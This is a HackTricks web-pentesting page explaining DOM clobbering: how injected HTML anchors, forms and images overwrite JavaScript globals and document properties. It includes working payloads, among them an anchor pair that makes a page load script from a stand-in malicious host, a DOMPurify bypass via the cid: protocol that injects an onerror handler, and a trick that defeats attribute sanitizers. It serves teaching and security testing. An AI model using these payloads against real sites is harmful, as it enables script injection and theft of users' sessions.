hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

7.8 KiB

Dom Clobbering

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥

DOM Clobbering

Clobbering window.someObject

A common pattern used by JavaScript developers is:

var someObject = window.someObject || {};

If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. Consider the following code:

<script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

Injecting that data window.someObject.url is going to be href=//malicious-website.com/malicious.js

Trick: DOMPurify allows you to use the cid: protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. Therefore, injecting something like <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> will make the HTML encoded &quot; to be decoded on runtime and escape from the attribute value to create the onerror event.

Another common technique consists on using form element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an input inside the form with id=attributes , you will clobber the attributes property and the sanitizer won't be able to go through the real attributes.

You can find an example of this type of clobbering in this CTF writeup.

Clobbering document object

According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:

The Document interface supports named properties. The supported property names of a Document object document at any moment consist of the following, in tree order according to the element that contributed them, ignoring later duplicates, and with values from id attributes coming before values from name attributes when the same element contributes both:

- The value of the name content attribute for all exposed embed, form, iframe, img, and exposed object elements that have a non-empty name content attribute and are in a document tree with document as their root;

- The value of the id content attribute for all exposed object elements that have a non-empty id content attribute and are in a document tree with document as their root;

- The value of the id content attribute for all img elements that have both a non-empty id content attribute and a non-empty name content attribute, and are in a document tree with document as their root.

Using this technique you can overwrite commonly used values such as document.cookie, document.body, document.children, and even methods in the Document interface like document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥